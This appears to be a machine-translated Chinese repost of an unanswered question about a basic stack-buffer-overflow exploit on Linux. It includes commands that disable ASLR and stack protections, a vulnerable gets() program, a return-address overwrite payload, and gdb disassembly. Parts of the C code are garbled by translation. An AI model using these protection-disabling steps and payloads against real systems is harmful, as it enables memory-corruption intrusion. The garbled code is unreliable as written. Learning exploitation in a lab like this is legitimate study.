Linux上的C中的现代堆栈溢出(堆栈粉碎)利用?

时间:2015-05-04 23:11:17

标签: c linux stack-overflow exploit stack-smash

简单来说,我想通过在堆栈上执行所需的地址来做一个简单的,非常基本的利用。

为此,我做了一些研究:

  1. linux上的可随机化保护:

    echo 0 > /proc/sys/kernel/randomize_va_space

  2. 编译时在gcc上启用堆栈执行。

    gcc overflow.c -o overflow -mpreferred-stack-boundary=4 -fno-stack-protector -ggdb -z execstack -static

  3. 最后创建源代码,gdb和exploit。

    void return_input(void){

    char array [30];   得到(阵列);   的printf( “%S \ n” 个,数组); }

    int main(){

    return_input();   返回1; }

  4. 这个漏洞很简单 printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCC1234567\x40\x10\x5e" | ./overflow 考虑到gdb上的匹配地址。

    最后。我知道漏洞“应该”有效。但是我收到以下错误。

    16199 illegal hardware instruction (core dumped) ./overflow

    我知道漏洞利用试图在我传递的地址上实际执行该函数。如果不起作用,系统上有某种保护(Linux 14.04 LTS更新),但我无法弄清楚它是什么。

    有谁知道如何克服这种“非法硬件指令(核心转储)”

    仅供参考,这是我正在尝试利用的功能的Gdb disas:

    (gdb) disas return_input
    Dump of assembler code for function return_input():
       0x000000000040105e <+0>: push   %rbp
       0x000000000040105f <+1>: mov    %rsp,%rbp
       0x0000000000401062 <+4>: sub    $0x20,%rsp
       0x0000000000401066 <+8>: lea    -0x20(%rbp),%rax
       0x000000000040106a <+12>:    mov    %rax,%rdi
       0x000000000040106d <+15>:    callq  0x408650 <gets>
       0x0000000000401072 <+20>:    lea    -0x20(%rbp),%rax
       0x0000000000401076 <+24>:    mov    %rax,%rdi
       0x0000000000401079 <+27>:    callq  0x408840 <puts>
       0x000000000040107e <+32>:    leaveq 
       0x000000000040107f <+33>:    retq   
    End of assembler dump.
    

0 个答案:

没有答案